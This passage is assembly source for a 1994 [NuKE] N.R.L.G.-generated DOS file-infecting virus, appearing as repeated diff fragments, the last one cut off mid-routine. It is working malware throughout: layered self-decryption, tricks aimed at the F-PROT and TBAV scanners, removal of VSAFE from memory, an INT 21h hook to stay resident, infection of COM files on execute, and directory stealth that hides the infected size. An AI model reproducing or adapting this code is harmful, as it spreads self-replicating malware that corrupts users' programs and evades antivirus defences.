ÿ;---------------------------------
|
||||
ANTI_V: ;
|
||||
MOV AX,0FA01H ;REMOVE VSAFE FROM MEMORY
|
||||
MOV DX,5945H ;
|
||||
INT 21H ;
|
||||
ret ;
|
||||
;---------------------------------
|
||||
|
||||
ÿ;*****************************************************
|
||||
dir_s:
|
||||
pushf
|
||||
push cs
|
||||
call a3 ;Get file Stats
|
||||
test al,al ;Good FCB?
|
||||
jnz no_good ;nope
|
||||
push ax
|
||||
push bx
|
||||
push es
|
||||
mov ah,51h ;Is this Undocmented? huh...
|
||||
int 21h
|
||||
mov es,bx
|
||||
cmp bx,es:[16h]
|
||||
jnz not_infected
|
||||
mov bx,dx
|
||||
mov al,[bx]
|
||||
push ax
|
||||
mov ah,2fh ;Get file DTA
|
||||
int 21h
|
||||
pop ax
|
||||
inc al
|
||||
jnz fcb_okay
|
||||
add bx,7h
|
||||
fcb_okay: mov ax,es:[bx+17h]
|
||||
and ax,1fh ;UnMask Seconds Field
|
||||
xor al,byte ptr cs:fechad
|
||||
jnz not_infected
|
||||
and byte ptr es:[bx+17h],0e0h
|
||||
sub es:[bx+1dh],OFFSET FIN - OFFSET START ;Yes minus virus size
|
||||
sbb es:[bx+1fh],ax
|
||||
not_infected:pop es
|
||||
pop bx
|
||||
pop ax
|
||||
no_good: iret
|
||||
;********************************************************************
|
||||
; THIS DIR STEALTH METOD IS EXTRAC FROM NUKEK INFO JOURNAL 4 & N-POX
|
||||
;*********************************************************************
|
||||
|
||||
ÿaction_dia Db 020H ;day for the action
|
||||
action_mes Db 0dH ;month for the action
|
||||
FECHA DW 01eH ;Secon for mark
|
||||
FECHAd Db 01eH ;Secon for mark dir st
|
||||
fin:
|
||||
code ends
|
||||
end start
|
||||
@@ -0,0 +1,444 @@
|
||||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||||
;³ THiS iS a [NuKE] RaNDoMiC LiFe GeNeRaToR ViRuS. ³ [NuKE] PoWeR
|
||||
;³ CReaTeD iS a N.R.L.G. PRoGRaM V0.66 BeTa TeST VeRSioN ³ [NuKE] WaReZ
|
||||
;³ auToR: aLL [NuKE] MeMeBeRS ³ [NuKE] PoWeR
|
||||
;³ [NuKE] THe ReaL PoWeR! ³ [NuKE] WaReZ
|
||||
;³ NRLG WRiTTeR: AZRAEL (C) [NuKE] 1994 ³ [NuKE] PoWeR
|
||||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||||
|
||||
.286
|
||||
code segment
|
||||
assume cs:code,ds:code
|
||||
org 100h
|
||||
|
||||
start: CALL NEXT
|
||||
|
||||
NEXT:
|
||||
mov di,sp ;take the stack pointer location
|
||||
mov bp,ss:[di] ;take the "DELTA HANDLE" for my virus
|
||||
sub bp,offset next ;subtract the large code off this code
|
||||
;
|
||||
;*******************************************************************
|
||||
; #1 DECRYPT ROUTINE
|
||||
;*******************************************************************
|
||||
|
||||
cmp byte ptr cs:[crypt],0b9h ;is the first runnig?
|
||||
je crypt2 ;yes! not decrypt
|
||||
;----------------------------------------------------------
|
||||
mov cx,offset fin ;cx = large of virus
|
||||
lea di,[offset crypt]+ bp ;di = first byte to decrypt
|
||||
mov dx,1 ;dx = value for decrypt
|
||||
;----------------------------------------------------------
|
||||
deci: ;deci = fuck label!
|
||||
;----------------------------------------------------------
|
||||
|
||||
ÿinc word ptr [di]
|
||||
add word ptr [di],08c7h
|
||||
sub byte ptr [di],0c6h
|
||||
add word ptr [di],0e613h
|
||||
inc word ptr [di]
|
||||
sub word ptr [di],05511h
|
||||
not byte ptr [di]
|
||||
xor word ptr [di],0ef35h
|
||||
sub word ptr [di],03e9bh
|
||||
inc word ptr [di]
|
||||
add byte ptr [di],083h
|
||||
ÿinc di
|
||||
inc di
|
||||
;----------------------------------------------------------
|
||||
jmp bye ;######## BYE BYE F-PROT ! ##########
|
||||
mov ah,4ch
|
||||
int 21h
|
||||
bye: ;#### HEY FRIDRIK! IS ONLY A JMP!!###
|
||||
;-----------------------------------------------------------
|
||||
mov ah,0bh ;######### BYE BYE TBAV ! ##########
|
||||
int 21h ;### (CANGE INT AT YOU PLEASURE) ###
|
||||
;----------------------------------------------------------
|
||||
loop deci ;repeat please!
|
||||
;
|
||||
;*****************************************************************
|
||||
; #2 DECRYPT ROUTINE
|
||||
;*****************************************************************
|
||||
;
|
||||
crypt: ;fuck label!
|
||||
;
|
||||
mov cx,offset fin ;cx = large of virus
|
||||
lea di,[offset crypt2] + bp ;di = first byte to decrypt
|
||||
;---------------------------------------------------------------
|
||||
deci2: ;
|
||||
xor byte ptr cs:[di],1 ;decrytion rutine
|
||||
inc di ;very simple...
|
||||
loop deci2 ;
|
||||
;---------------------------------------------------------------
|
||||
crypt2: ;fuck label!
|
||||
;
|
||||
MOV AX,0CACAH ;call to my resident interrup mask
|
||||
INT 21H ;for chek "I'm is residet?"
|
||||
CMP Bh,0CAH ;is equal to CACA?
|
||||
JE PUM2 ;yes! jump to runnig program
|
||||
call action
|
||||
;*****************************************************************
|
||||
; NRLG FUNCTIONS (SELECTABLE)
|
||||
;*****************************************************************
|
||||
|
||||
ÿcall ANTI_V
|
||||
;****************************************************************
|
||||
; PROCESS TO REMAIN RESIDENT
|
||||
;****************************************************************
|
||||
|
||||
mov ax,3521h
|
||||
int 21h ;store the int 21 vectors
|
||||
mov word ptr [bp+int21],bx ;in cs:int21
|
||||
mov word ptr [bp+int21+2],es ;
|
||||
;---------------------------------------------------------------
|
||||
push cs ;
|
||||
pop ax ;ax = my actual segment
|
||||
dec ax ;dec my segment for look my MCB
|
||||
mov es,ax ;
|
||||
mov bx,es:[3] ;read the #3 byte of my MCB =total used memory
|
||||
;---------------------------------------------------------------
|
||||
push cs ;
|
||||
pop es ;
|
||||
sub bx,(offset fin - offset start + 15)/16 ;subtract the large of my virus
|
||||
sub bx,17 + offset fin ;and 100H for the PSP total
|
||||
mov ah,4ah ;used memory
|
||||
int 21h ;put the new value to MCB
|
||||
;---------------------------------------------------------------
|
||||
mov bx,(offset fin - offset start + 15)/16 + 16 + offset fin
|
||||
mov ah,48h ;
|
||||
int 21h ;request the memory to fuck DOS!
|
||||
;---------------------------------------------------------------
|
||||
dec ax ;ax=new segment
|
||||
mov es,ax ;ax-1= new segment MCB
|
||||
mov byte ptr es:[1],8 ;put '8' in the segment
|
||||
;--------------------------------------------------------------
|
||||
inc ax ;
|
||||
mov es,ax ;es = new segment
|
||||
lea si,[bp + offset start] ;si = start of virus
|
||||
mov di,100h ;di = 100H (psp position)
|
||||
mov cx,offset fin - start ;cx = lag of virus
|
||||
push cs ;
|
||||
pop ds ;ds = cs
|
||||
cld ;mov the code
|
||||
rep movsb ;ds:si >> es:di
|
||||
;--------------------------------------------------------------
|
||||
mov dx,offset virus ;dx = new int21 handler
|
||||
mov ax,2521h ;
|
||||
push es ;
|
||||
pop ds ;
|
||||
int 21h ;set the vectors
|
||||
;-------------------------------------------------------------
|
||||
pum2: ;
|
||||
;
|
||||
mov ah,byte ptr [cs:bp + real] ;restore the 3
|
||||
mov byte ptr cs:[100h],ah ;first bytes
|
||||
mov ax,word ptr [cs:bp + real + 1] ;
|
||||
mov word ptr cs:[101h],ax ;
|
||||
;-------------------------------------------------------------
|
||||
mov ax,100h ;
|
||||
jmp ax ;jmp to execute
|
||||
;
|
||||
;*****************************************************************
|
||||
;* HANDLER FOR THE INT 21H
|
||||
;*****************************************************************
|
||||
;
|
||||
VIRUS: ;
|
||||
;
|
||||
cmp ah,4bh ;is a 4b function?
|
||||
je REPRODUCCION ;yes! jump to reproduce !
|
||||
cmp ah,11h
|
||||
je dir
|
||||
cmp ah,12h
|
||||
je dir
|
||||
dirsal:
|
||||
cmp AX,0CACAH ;is ... a caca function? (resident chek)
|
||||
jne a3 ;no! jump to a3
|
||||
mov bh,0cah ;yes! put ca in bh
|
||||
a3: ;
|
||||
JMP dword ptr CS:[INT21] ;jmp to original int 21h
|
||||
ret ;
|
||||
make db '[NuKE] N.R.L.G. AZRAEL'
|
||||
dir:
|
||||
jmp dir_s
|
||||
;-------------------------------------------------------------
|
||||
REPRODUCCION: ;
|
||||
;
|
||||
pushf ;put the register
|
||||
pusha ;in the stack
|
||||
push si ;
|
||||
push di ;
|
||||
push bp ;
|
||||
push es ;
|
||||
push ds ;
|
||||
;-------------------------------------------------------------
|
||||
push cs ;
|
||||
pop ds ;
|
||||
mov ax,3524H ;get the dos error control
|
||||
int 21h ;interupt
|
||||
mov word ptr error,es ;and put in cs:error
|
||||
mov word ptr error+2,bx ;
|
||||
mov ax,2524H ;change the dos error control
|
||||
mov dx,offset all ;for my "trap mask"
|
||||
int 21h ;
|
||||
;-------------------------------------------------------------
|
||||
pop ds ;
|
||||
pop es ;restore the registers
|
||||
pop bp ;
|
||||
pop di ;
|
||||
pop si ;
|
||||
popa ;
|
||||
popf ;
|
||||
;-------------------------------------------------------------
|
||||
pushf ;put the registers
|
||||
pusha ;
|
||||
push si ;HEY! AZRAEL IS CRAZY?
|
||||
push di ;PUSH, POP, PUSH, POP
|
||||
push bp ;PLEEEEEAAAAAASEEEEEEEEE
|
||||
push es ;PURIFY THIS SHIT!
|
||||
push ds ;
|
||||
;-------------------------------------------------------------
|
||||
mov ax,4300h ;
|
||||
int 21h ;get the file
|
||||
mov word ptr cs:[attrib],cx ;atributes
|
||||
;-------------------------------------------------------------
|
||||
mov ax,4301h ;le saco los atributos al
|
||||
xor cx,cx ;file
|
||||
int 21h ;
|
||||
;-------------------------------------------------------------
|
||||
mov ax,3d02h ;open the file
|
||||
int 21h ;for read/write
|
||||
mov bx,ax ;bx=handle
|
||||
;-------------------------------------------------------------
|
||||
mov ax,5700h ;
|
||||
int 21h ;get the file date
|
||||
mov word ptr cs:[hora],cx ;put the hour
|
||||
mov word ptr cs:[dia],dx ;put the day
|
||||
and cx,word ptr cs:[fecha] ;calculate the seconds
|
||||
cmp cx,word ptr cs:[fecha] ;is ecual to 58? (DEDICATE TO N-POX)
|
||||
jne seguir ;yes! the file is infected!
|
||||
jmp cerrar ;
|
||||
;------------------------------------------------------------
|
||||
seguir: ;
|
||||
mov ax,4202h ;move the pointer to end
|
||||
call movedor ;of the file
|
||||
;------------------------------------------------------------
|
||||
push cs ;
|
||||
pop ds ;
|
||||
sub ax,3 ;calculate the
|
||||
mov word ptr [cs:largo],ax ;jmp long
|
||||
;-------------------------------------------------------------
|
||||
mov ax,04200h ;move the pointer to
|
||||
call movedor ;start of file
|
||||
;----------------------------------------------------------
|
||||
push cs ;
|
||||
pop ds ;read the 3 first bytes
|
||||
mov ah,3fh ;
|
||||
mov cx,3 ;
|
||||
lea dx,[cs:real] ;put the bytes in cs:[real]
|
||||
int 21h ;
|
||||
;----------------------------------------------------------
|
||||
cmp word ptr cs:[real],05a4dh ;the 2 first bytes = 'MZ' ?
|
||||
jne er1 ;yes! is a EXE... fuckkk!
|
||||
;----------------------------------------------------------
|
||||
jmp cerrar
|
||||
er1:
|
||||
;----------------------------------------------------------
|
||||
mov ax,4200h ;move the pointer
|
||||
call movedor ;to start fo file
|
||||
;----------------------------------------------------------
|
||||
push cs ;
|
||||
pop ds ;
|
||||
mov ah,40h ;
|
||||
mov cx,1 ;write the JMP
|
||||
lea dx,[cs:jump] ;instruccion in the
|
||||
int 21h ;fist byte of the file
|
||||
;----------------------------------------------------------
|
||||
mov ah,40h ;write the value of jmp
|
||||
mov cx,2 ;in the file
|
||||
lea dx,[cs:largo] ;
|
||||
int 21h ;
|
||||
;----------------------------------------------------------
|
||||
mov ax,04202h ;move the pointer to
|
||||
call movedor ;end of file
|
||||
;----------------------------------------------------------
|
||||
push cs ;
|
||||
pop ds ;move the code
|
||||
push cs ;of my virus
|
||||
pop es ;to cs:end+50
|
||||
cld ;for encrypt
|
||||
mov si,100h ;
|
||||
mov di,offset fin + 50 ;
|
||||
mov cx,offset fin - 100h ;
|
||||
rep movsb ;
|
||||
;----------------------------------------------------------
|
||||
mov cx,offset fin
|
||||
mov di,offset fin + 50 + (offset crypt2 - offset start) ;virus
|
||||
enc: ;
|
||||
xor byte ptr cs:[di],1 ;encrypt the virus
|
||||
inc di ;code
|
||||
loop enc ;
|
||||
;---------------------------------------------------------
|
||||
mov cx,offset fin
|
||||
mov di,offset fin + 50 + (offset crypt - offset start) ;virus
|
||||
mov dx,1
|
||||
enc2: ;
|
||||
|
||||
ÿsub byte ptr [di],083h
|
||||
dec word ptr [di]
|
||||
add word ptr [di],03e9bh
|
||||
xor word ptr [di],0ef35h
|
||||
not byte ptr [di]
|
||||
add word ptr [di],05511h
|
||||
dec word ptr [di]
|
||||
sub word ptr [di],0e613h
|
||||
add byte ptr [di],0c6h
|
||||
sub word ptr [di],08c7h
|
||||
dec word ptr [di]
|
||||
ÿinc di
|
||||
inc di ;the virus code
|
||||
loop enc2 ;
|
||||
;--------------------------------------------
|
||||
mov ah,40h ;
|
||||
mov cx,offset fin - offset start ;copy the virus
|
||||
mov dx,offset fin + 50 ;to end of file
|
||||
int 21h ;
|
||||
;----------------------------------------------------------
|
||||
cerrar: ;
|
||||
;restore the
|
||||
mov ax,5701h ;date and time
|
||||
mov cx,word ptr cs:[hora] ;file
|
||||
mov dx,word ptr cs:[dia] ;
|
||||
or cx,word ptr cs:[fecha] ;and mark the seconds
|
||||
int 21h ;
|
||||
;----------------------------------------------------------
|
||||
mov ah,3eh ;
|
||||
int 21h ;close the file
|
||||
;----------------------------------------------------------
|
||||
pop ds ;
|
||||
pop es ;restore the
|
||||
pop bp ;registers
|
||||
pop di ;
|
||||
pop si ;
|
||||
popa ;
|
||||
popf ;
|
||||
;----------------------------------------------------------
|
||||
pusha ;
|
||||
;
|
||||
mov ax,4301h ;restores the atributes
|
||||
mov cx,word ptr cs:[attrib] ;of the file
|
||||
int 21h ;
|
||||
;
|
||||
popa ;
|
||||
;----------------------------------------------------------
|
||||
pushf ;
|
||||
pusha ; 8-( = f-prot
|
||||
push si ;
|
||||
push di ; 8-( = tbav
|
||||
push bp ;
|
||||
push es ; 8-) = I'm
|
||||
push ds ;
|
||||
;----------------------------------------------------------
|
||||
mov ax,2524H ;
|
||||
lea bx,error ;restore the
|
||||
mov ds,bx ;errors handler
|
||||
lea bx,error+2 ;
|
||||
int 21h ;
|
||||
;----------------------------------------------------------
|
||||
pop ds ;
|
||||
pop es ;
|
||||
pop bp ;restore the
|
||||
pop di ;resgisters
|
||||
pop si ;
|
||||
popa ;
|
||||
popf ;
|
||||
;----------------------------------------------------------
|
||||
JMP A3 ;jmp to orig. INT 21
|
||||
;
|
||||
;**********************************************************
|
||||
; SUBRUTINES AREA
|
||||
;**********************************************************
|
||||
;
|
||||
movedor: ;
|
||||
;
|
||||
xor cx,cx ;use to move file pointer
|
||||
xor dx,dx ;
|
||||
int 21h ;
|
||||
ret ;
|
||||
;----------------------------------------------------------
|
||||
all: ;
|
||||
;
|
||||
XOR AL,AL ;use to set
|
||||
iret ;error flag
|
||||
|
||||
;***********************************************************
|
||||
; DATA AREA
|
||||
;***********************************************************
|
||||
largo dw ?
|
||||
jump db 0e9h
|
||||
real db 0cdh,20h,0
|
||||
hora dw ?
|
||||
dia dw ?
|
||||
attrib dw ?
|
||||
int21 dd ?
|
||||
error dd ?
|
||||
|
||||
ÿ;------------------------
|
||||
action: ;Nothing Action!
|
||||
NOP ;only replicate
|
||||
ret ;Return to call
|
||||
;------------------------
|
||||
|
||||
ÿ;---------------------------------
|
||||
ANTI_V: ;
|
||||
MOV AX,0FA01H ;REMOVE VSAFE FROM MEMORY
|
||||
MOV DX,5945H ;
|
||||
INT 21H ;
|
||||
ret ;
|
||||
;---------------------------------
|
||||
|
||||
ÿ;*****************************************************
|
||||
dir_s:
|
||||
pushf
|
||||
push cs
|
||||
call a3 ;Get file Stats
|
||||
test al,al ;Good FCB?
|
||||
jnz no_good ;nope
|
||||
push ax
|
||||
push bx
|
||||
push es
|
||||
mov ah,51h ;Is this Undocmented? huh...
|
||||
int 21h
|
||||
mov es,bx
|
||||
cmp bx,es:[16h]
|
||||
jnz not_infected
|
||||
mov bx,dx
|
||||
mov al,[bx]
|
||||
push ax
|
||||
mov ah,2fh ;Get file DTA
|
||||
int 21h
|
||||
pop ax
|
||||
inc al
|
||||
jnz fcb_okay
|
||||
add bx,7h
|
||||
fcb_okay: mov ax,es:[bx+17h]
|
||||
and ax,1fh ;UnMask Seconds Field
|
||||
xor al,byte ptr cs:fechad
|
||||
jnz not_infected
|
||||
and byte ptr es:[bx+17h],0e0h
|
||||
sub es:[bx+1dh],OFFSET FIN - OFFSET START ;Yes minus virus size
|
||||
sbb es:[bx+1fh],ax
|
||||
not_infected:pop es
|
||||
pop bx
|
||||
pop ax
|
||||
no_good: iret
|
||||
;********************************************************************
|
||||
; THIS DIR STEALTH METOD IS EXTRAC FROM NUKEK INFO JOURNAL 4 & N-POX
|
||||
;*********************************************************************
|
||||
|
||||
ÿaction_dia Db 020H ;day for the action
|
||||
action_mes Db 0dH ;month for the action
|
||||
FECHA DW 01eH ;Secon for mark
|
||||
FECHAd Db 01eH ;Secon for mark dir st
|
||||
fin:
|
||||
code ends
|
||||
end start
|
||||
@@ -0,0 +1,444 @@
|
||||
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||||
;³ THiS iS a [NuKE] RaNDoMiC LiFe GeNeRaToR ViRuS. ³ [NuKE] PoWeR
|
||||
;³ CReaTeD iS a N.R.L.G. PRoGRaM V0.66 BeTa TeST VeRSioN ³ [NuKE] WaReZ
|
||||
;³ auToR: aLL [NuKE] MeMeBeRS ³ [NuKE] PoWeR
|
||||
;³ [NuKE] THe ReaL PoWeR! ³ [NuKE] WaReZ
|
||||
;³ NRLG WRiTTeR: AZRAEL (C) [NuKE] 1994 ³ [NuKE] PoWeR
|
||||
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||||
|
||||
.286
|
||||
code segment
|
||||
assume cs:code,ds:code
|
||||
org 100h
|
||||
|
||||
start: CALL NEXT
|
||||
|
||||
NEXT:
|
||||
mov di,sp ;take the stack pointer location
|
||||
mov bp,ss:[di] ;take the "DELTA HANDLE" for my virus
|
||||
sub bp,offset next ;subtract the large code off this code
|
||||
;
|
||||
;*******************************************************************
|
||||
; #1 DECRYPT ROUTINE
|
||||
;*******************************************************************
|
||||
|
||||
cmp byte ptr cs:[crypt],0b9h ;is the first runnig?
|
||||
je crypt2 ;yes! not decrypt
|
||||
;----------------------------------------------------------
|
||||
mov cx,offset fin ;cx = large of virus
|
||||
lea di,[offset crypt]+ bp ;di = first byte to decrypt
|
||||
mov dx,1 ;dx = value for decrypt
|
||||
;----------------------------------------------------------
|
||||
deci: ;deci = fuck label!
|
||||
;----------------------------------------------------------
|
||||
|
||||
ÿadd byte ptr [di],097h
|
||||
add byte ptr [di],03h
|
||||
not word ptr [di]
|
||||
inc byte ptr [di]
|
||||
xor byte ptr [di],0a8h
|
||||
add byte ptr [di],088h
|
||||
xor byte ptr [di],068h
|
||||
sub byte ptr [di],04ah
|
||||
sub word ptr [di],06023h
|
||||
xor word ptr [di],06e4ch
|
||||
sub word ptr [di],04620h
|
||||
ÿinc di
|
||||
inc di
|
||||
;----------------------------------------------------------
|
||||
jmp bye ;######## BYE BYE F-PROT ! ##########
|
||||
mov ah,4ch
|
||||
int 21h
|
||||
bye: ;#### HEY FRIDRIK! IS ONLY A JMP!!###
|
||||
;-----------------------------------------------------------
|
||||
mov ah,0bh ;######### BYE BYE TBAV ! ##########
|
||||
int 21h ;### (CANGE INT AT YOU PLEASURE) ###
|
||||
;----------------------------------------------------------
|
||||
loop deci ;repeat please!
|
||||
;
|
||||
;*****************************************************************
|
||||
; #2 DECRYPT ROUTINE
|
||||
;*****************************************************************
|
||||
;
|
||||
crypt: ;fuck label!
|
||||
;
|
||||
mov cx,offset fin ;cx = large of virus
|
||||
lea di,[offset crypt2] + bp ;di = first byte to decrypt
|
||||
;---------------------------------------------------------------
|
||||
deci2: ;
|
||||
xor byte ptr cs:[di],1 ;decrytion rutine
|
||||
inc di ;very simple...
|
||||
loop deci2 ;
|
||||
;---------------------------------------------------------------
|
||||
crypt2: ;fuck label!
|
||||
;
|
||||
MOV AX,0CACAH ;call to my resident interrup mask
|
||||
INT 21H ;for chek "I'm is residet?"
|
||||
CMP Bh,0CAH ;is equal to CACA?
|
||||
JE PUM2 ;yes! jump to runnig program
|
||||
call action
|
||||
;*****************************************************************
|
||||
; NRLG FUNCTIONS (SELECTABLE)
|
||||
;*****************************************************************
|
||||
|
||||
ÿcall ANTI_V
|
||||
;****************************************************************
|
||||
; PROCESS TO REMAIN RESIDENT
|
||||
;****************************************************************
|
||||
|
||||
mov ax,3521h
|
||||
int 21h ;store the int 21 vectors
|
||||
mov word ptr [bp+int21],bx ;in cs:int21
|
||||
mov word ptr [bp+int21+2],es ;
|
||||
;---------------------------------------------------------------
|
||||
push cs ;
|
||||
pop ax ;ax = my actual segment
|
||||
dec ax ;dec my segment for look my MCB
|
||||
mov es,ax ;
|
||||
mov bx,es:[3] ;read the #3 byte of my MCB =total used memory
|
||||
;---------------------------------------------------------------
|
||||
push cs ;
|
||||
pop es ;
|
||||
sub bx,(offset fin - offset start + 15)/16 ;subtract the large of my virus
|
||||
sub bx,17 + offset fin ;and 100H for the PSP total
|
||||
mov ah,4ah ;used memory
|
||||
int 21h ;put the new value to MCB
|
||||
;---------------------------------------------------------------
|
||||
mov bx,(offset fin - offset start + 15)/16 + 16 + offset fin
|
||||
mov ah,48h ;
|
||||
int 21h ;request the memory to fuck DOS!
|
||||
;---------------------------------------------------------------
|
||||
dec ax ;ax=new segment
|
||||
mov es,ax ;ax-1= new segment MCB
|
||||
mov byte ptr es:[1],8 ;put '8' in the segment
|
||||
;--------------------------------------------------------------
|
||||
inc ax ;
|
||||
mov es,ax ;es = new segment
|
||||
lea si,[bp + offset start] ;si = start of virus
|
||||
mov di,100h ;di = 100H (psp position)
|
||||
mov cx,offset fin - start ;cx = lag of virus
|
||||
push cs ;
|
||||
pop ds ;ds = cs
|
||||
cld ;mov the code
|
||||
rep movsb ;ds:si >> es:di
|
||||
;--------------------------------------------------------------
|
||||
mov dx,offset virus ;dx = new int21 handler
|
||||
mov ax,2521h ;
|
||||
push es ;
|
||||
pop ds ;
|
||||
int 21h ;set the vectors
|
||||
;-------------------------------------------------------------
|
||||
pum2: ;
|
||||
;
|
||||
mov ah,byte ptr [cs:bp + real] ;restore the 3
|
||||
mov byte ptr cs:[100h],ah ;first bytes
|
||||
mov ax,word ptr [cs:bp + real + 1] ;
|
||||
mov word ptr cs:[101h],ax ;
|
||||
;-------------------------------------------------------------
|
||||
mov ax,100h ;
|
||||
jmp ax ;jmp to execute
|
||||
;
|
||||
;*****************************************************************
|
||||
;* HANDLER FOR THE INT 21H
|
||||
;*****************************************************************
|
||||
;
|
||||
VIRUS: ;
|
||||
;
|
||||
cmp ah,4bh ;is a 4b function?
|
||||
je REPRODUCCION ;yes! jump to reproduce !
|
||||
cmp ah,11h
|
||||
je dir
|
||||
cmp ah,12h
|
||||
je dir
|
||||
dirsal:
|
||||
cmp AX,0CACAH ;is ... a caca function? (resident chek)
|
||||
jne a3 ;no! jump to a3
|
||||
mov bh,0cah ;yes! put ca in bh
|
||||
a3: ;
|
||||
JMP dword ptr CS:[INT21] ;jmp to original int 21h
|
||||
ret ;
|
||||
make db '[NuKE] N.R.L.G. AZRAEL'
|
||||
dir:
|
||||
jmp dir_s
|
||||
;-------------------------------------------------------------
|
||||
REPRODUCCION: ;
|
||||
;
|
||||
pushf ;put the register
|
||||
pusha ;in the stack
|
||||
push si ;
|
||||
push di ;
|
||||
push bp ;
|
||||
push es ;
|
||||
push ds ;
|
||||
;-------------------------------------------------------------
|
||||
push cs ;
|
||||
pop ds ;
|
||||
mov ax,3524H ;get the dos error control
|
||||
int 21h ;interupt
|
||||
mov word ptr error,es ;and put in cs:error
|
||||
mov word ptr error+2,bx ;
|
||||
mov ax,2524H ;change the dos error control
|
||||
mov dx,offset all ;for my "trap mask"
|
||||
int 21h ;
|
||||
;-------------------------------------------------------------
|
||||
pop ds ;
|
||||
pop es ;restore the registers
|
||||
pop bp ;
|
||||
pop di ;
|
||||
pop si ;
|
||||
popa ;
|
||||
popf ;
|
||||
;-------------------------------------------------------------
|
||||
pushf ;put the registers
|
||||
pusha ;
|
||||
push si ;HEY! AZRAEL IS CRAZY?
|
||||
push di ;PUSH, POP, PUSH, POP
|
||||
push bp ;PLEEEEEAAAAAASEEEEEEEEE
|
||||
push es ;PURIFY THIS SHIT!
|
||||
push ds ;
|
||||
;-------------------------------------------------------------
|
||||
mov ax,4300h ;
|
||||
int 21h ;get the file
|
||||
mov word ptr cs:[attrib],cx ;atributes
|
||||
;-------------------------------------------------------------
|
||||
mov ax,4301h ;le saco los atributos al
|
||||
xor cx,cx ;file
|
||||
int 21h ;
|
||||
;-------------------------------------------------------------
|
||||
mov ax,3d02h ;open the file
|
||||
int 21h ;for read/write
|
||||
mov bx,ax ;bx=handle
|
||||
;-------------------------------------------------------------
|
||||
mov ax,5700h ;
|
||||
int 21h ;get the file date
|
||||
mov word ptr cs:[hora],cx ;put the hour
|
||||
mov word ptr cs:[dia],dx ;put the day
|
||||
and cx,word ptr cs:[fecha] ;calculate the seconds
|
||||
cmp cx,word ptr cs:[fecha] ;is ecual to 58? (DEDICATE TO N-POX)
|
||||
jne seguir ;yes! the file is infected!
|
||||
jmp cerrar ;
|
||||
;------------------------------------------------------------
|
||||
seguir: ;
|
||||
mov ax,4202h ;move the pointer to end
|
||||
call movedor ;of the file
|
||||
;------------------------------------------------------------
|
||||
push cs ;
|
||||
pop ds ;
|
||||
sub ax,3 ;calculate the
|
||||
mov word ptr [cs:largo],ax ;jmp long
|
||||
;-------------------------------------------------------------
|
||||
mov ax,04200h ;move the pointer to
|
||||
call movedor ;start of file
|
||||
;----------------------------------------------------------
|
||||
push cs ;
|
||||
pop ds ;read the 3 first bytes
|
||||
mov ah,3fh ;
|
||||
mov cx,3 ;
|
||||
lea dx,[cs:real] ;put the bytes in cs:[real]
|
||||
int 21h ;
|
||||
;----------------------------------------------------------
|
||||
cmp word ptr cs:[real],05a4dh ;the 2 first bytes = 'MZ' ?
|
||||
jne er1 ;yes! is a EXE... fuckkk!
|
||||
;----------------------------------------------------------
|
||||
jmp cerrar
|
||||
er1:
|
||||
;----------------------------------------------------------
|
||||
mov ax,4200h ;move the pointer
|
||||
call movedor ;to start fo file
|
||||
;----------------------------------------------------------
|
||||
push cs ;
|
||||
pop ds ;
|
||||
mov ah,40h ;
|
||||
mov cx,1 ;write the JMP
|
||||
lea dx,[cs:jump] ;instruccion in the
|
||||
int 21h ;fist byte of the file
|
||||
;----------------------------------------------------------
|
||||
mov ah,40h ;write the value of jmp
|
||||
mov cx,2 ;in the file
|
||||
lea dx,[cs:largo] ;
|
||||
int 21h ;
|
||||
;----------------------------------------------------------
|
||||
mov ax,04202h ;move the pointer to
|
||||
call movedor ;end of file
|
||||
;----------------------------------------------------------
|
||||
push cs ;
|
||||
pop ds ;move the code
|
||||
push cs ;of my virus
|
||||
pop es ;to cs:end+50
|
||||
cld ;for encrypt
|
||||
mov si,100h ;
|
||||
mov di,offset fin + 50 ;
|
||||
mov cx,offset fin - 100h ;
|
||||
rep movsb ;
|
||||
;----------------------------------------------------------
|
||||
mov cx,offset fin
|
||||
mov di,offset fin + 50 + (offset crypt2 - offset start) ;virus
|
||||
enc: ;
|
||||
xor byte ptr cs:[di],1 ;encrypt the virus
|
||||
inc di ;code
|
||||
loop enc ;
|
||||
;---------------------------------------------------------
|
||||
mov cx,offset fin
|
||||
mov di,offset fin + 50 + (offset crypt - offset start) ;virus
|
||||
mov dx,1
|
||||
enc2: ;
|
||||
|
||||
ÿadd word ptr [di],04620h
|
||||
xor word ptr [di],06e4ch
|
||||
add word ptr [di],06023h
|
||||
add byte ptr [di],04ah
|
||||
xor byte ptr [di],068h
|
||||
sub byte ptr [di],088h
|
||||
xor byte ptr [di],0a8h
|
||||
dec byte ptr [di]
|
||||
not word ptr [di]
|
||||
sub byte ptr [di],03h
|
||||
sub byte ptr [di],097h
|
||||
ÿinc di
|
||||
inc di ;the virus code
|
||||
loop enc2 ;
|
||||
;--------------------------------------------
|
||||
mov ah,40h ;
|
||||
mov cx,offset fin - offset start ;copy the virus
|
||||
mov dx,offset fin + 50 ;to end of file
|
||||
int 21h ;
|
||||
;----------------------------------------------------------
|
||||
cerrar: ;
|
||||
;restore the
|
||||
mov ax,5701h ;date and time
|
||||
mov cx,word ptr cs:[hora] ;file
|
||||
mov dx,word ptr cs:[dia] ;
|
||||
or cx,word ptr cs:[fecha] ;and mark the seconds
|
||||
int 21h ;
|
||||
;----------------------------------------------------------
|
||||
mov ah,3eh ;
|
||||
int 21h ;close the file
|
||||
;----------------------------------------------------------
|
||||
pop ds ;
|
||||
pop es ;restore the
|
||||
pop bp ;registers
|
||||
pop di ;
|
||||
pop si ;
|
||||
popa ;
|
||||
popf ;
|
||||
;----------------------------------------------------------
|
||||
pusha ;
|
||||
;
|
